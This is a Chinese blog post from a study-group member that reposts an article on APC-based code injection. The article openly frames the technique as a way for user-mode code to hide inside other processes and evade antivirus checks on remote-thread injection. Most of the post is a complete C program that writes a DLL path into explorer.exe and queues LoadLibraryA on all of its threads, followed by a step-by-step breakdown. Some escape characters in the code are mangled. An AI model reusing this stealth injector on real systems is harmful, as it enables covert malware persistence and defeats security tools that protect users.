上周五去蹭我们组的Windows Internal Study Group的lesson,这是Trend的一大特色,提倡share。虽然本次课听懂的不多(可以说几乎都没有听懂),倒是开阔了眼界。尤其这周一晚上听AU的Head First Struy Group,课后体会是“写程序还有这么多讲究,这么生动,设计的很巧妙”,是提升程序员自身修养的一门课。Windows Internal 的课堂作业(我抄rick的),课后实验,我在网上找资料没找到,还是rick share了他的成果,拿来发帖了!
http://hi.baidu.com/combojiang/blog/item/ac3a22194dfd637cdbb4bd3c.html 关于APC概念方面的介绍,前面已经有专文详细的说明了,在这里不再重复了。本篇我们主要谈谈利 用APC实现向一个运行中的进程注入自己的代码的用法。 向一个运行中的进程注入自己的代码,常见的办法有全局钩子,以及CreateRemoteThread实现的远 程线程注入,如今远线程注入已经是泛滥成灾,杀毒软件对于远程线程已经做了检查和警示。 用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。本篇给出的示例 为在Explorer里加载自己的dll。 这里首先提到的就是一个API:QueueUserAPC 。原型如下: DWORD QueueUserAPC( PAPCFUNC pfnAPC, // APC function HANDLE hThread, // handle to thread ULONG_PTR dwData // APC function parameter 从流程上看QueueUserAPC直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出 的目标线程的 APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码 那一切就OK了,只可惜没有那么顺利的事, ApcState中UserApcPending是否为TRUE有重要的影响, 结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问 题,自己动手赋值, 可是用户态程序可不好做,怎么办? 实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当 KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用 TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例 子,目标线程调用 SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了。 如果我们插入的目标线程也是本进程的话,我们就可以调用上面的函数让APC迅速执行,但是这里如 果我们要插入的是Explorer进程,最简单的办法就是枚举Explorer中所有线程,全数插入,相信这么 多的线程中,总有一个满足执行条件,只要有一个满足条件,我们就成功了。 代码:见光盘InsertApc,代码摘自网络,略作修改。 #define _WIN32_WINNT 0x0400 #define WIN32_LEAN_AND_MEAN // 从 Windows 头中排除极少使用的资料 #include <windows.h> #include <Tlhelp32.h> #include <stdio.h> #include <stdlib.h> typedef HANDLE (CALLBACK *OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId); typedef struct _TIDLIST { DWORD dwTid ; _TIDLIST *pNext ; }TIDLIST; DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList) { TIDLIST *pCurrentTid = pThreadIdList ; HANDLE hThread; const char szInjectModName[] = "c://sysnap.dll" ; DWORD dwLen = strlen(szInjectModName) ; HMODULE hDll = GetModuleHandle("Kernel32.dll"); PVOID param = VirtualAllocEx(hProcess, / NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ; if (param != NULL) { DWORD dwRet ; if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet)) { while (pCurrentTid) { OPENTHREAD lpfnOpenThread = (OPENTHREAD)::GetProcAddress(hDll, "OpenThread"); hThread = lpfnOpenThread(THREAD_ALL_ACCESS,FALSE,pCurrentTid->dwTid); if (hThread != NULL) { // // 注入DLL到指定进程 // QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ; } printf("TID:%d/n", pCurrentTid->dwTid) ; pCurrentTid = pCurrentTid->pNext ; } } } return 0 ; } DWORD GetProcID(const char *szProcessName) { PROCESSENTRY32 pe32 = {0} ; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ; if (hSnapshot == INVALID_HANDLE_VALUE) { return 0xFFFFFFFF ; } if (!Process32First(hSnapshot, &pe32)) { return 0xFFFFFFFF ; } do { if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName))) { printf("%s的PID是:%d/n", pe32.szExeFile, pe32.th32ProcessID); return pe32.th32ProcessID ; } } while(Process32Next(hSnapshot, &pe32)); return 0xFFFFFFFF ; } TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid) { TIDLIST *pCurrent = NULL ; TIDLIST *pNewMember = NULL ; if (pdwTidListHead == NULL) { return NULL ; } pCurrent = pdwTidListHead ; while (pCurrent != NULL) { if (pCurrent->pNext == NULL) { // // 定位到链表最后一个元素 // pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ; if (pNewMember != NULL) { pNewMember->dwTid = dwTid ; pNewMember->pNext = NULL ; pCurrent->pNext = pNewMember ; return pNewMember ; } else { return NULL ; } } pCurrent = pCurrent->pNext ; } return NULL ; } int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList) { int i = 0 ; THREADENTRY32 te32 = {0} ; te32.dwSize= sizeof(THREADENTRY32) ; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ; if(hSnapshot != INVALID_HANDLE_VALUE) { if(Thread32First(hSnapshot,&te32)) { do { if(te32.th32OwnerProcessID==dwPID) { if (pdwTidList->dwTid == 0) { pdwTidList->dwTid = te32.th32ThreadID ; } else { if (NULL == InsertTid(pdwTidList, te32.th32ThreadID)) { printf("插入失败!/n") ; return 0 ; } } } }while(Thread32Next(hSnapshot,&te32)); } } return 1 ; } void RemoveTid(TIDLIST *pdwTidListHead) { TIDLIST *pCurrent = NULL ; TIDLIST *pNext = NULL ; if (pdwTidListHead == NULL) { return; } pCurrent = pdwTidListHead ; while (pCurrent != NULL) { pNext = pCurrent->pNext; free(pCurrent); pCurrent = pNext; } } int main(int argc, char* argv[]) { TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ; if (pTidHead == NULL) { return 1 ; } RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ; DWORD dwPID = 0 ; if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF) { printf("进程ID获取失败!/n") ; return 1 ; } // // 枚举线程ID // EnumThreadID(dwPID, pTidHead) ; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ; if (hProcess == NULL) { return 1 ; } EnumThread(hProcess, pTidHead) ; CloseHandle(hProcess); RemoveTid(pTidHead); return 0; } 分析: 代码比较简单,步骤如下: 1)根据进程名,获取进程ID,通过遍历所有的进程,比较当前遍历到的进程名是否等于我们参数传 递进的进程名,如果是,则返回此进程的ID,否则继续遍历。 2)根据获取的进程ID,打开目标进程。 3)遍历进程内所有的线程模块,将遍历出的线程ID,保存到一个单项链表中。 4)调用QueueUserAPC向链表中的每个线程插入APC。 5)关闭进程句柄。 6)删除链表。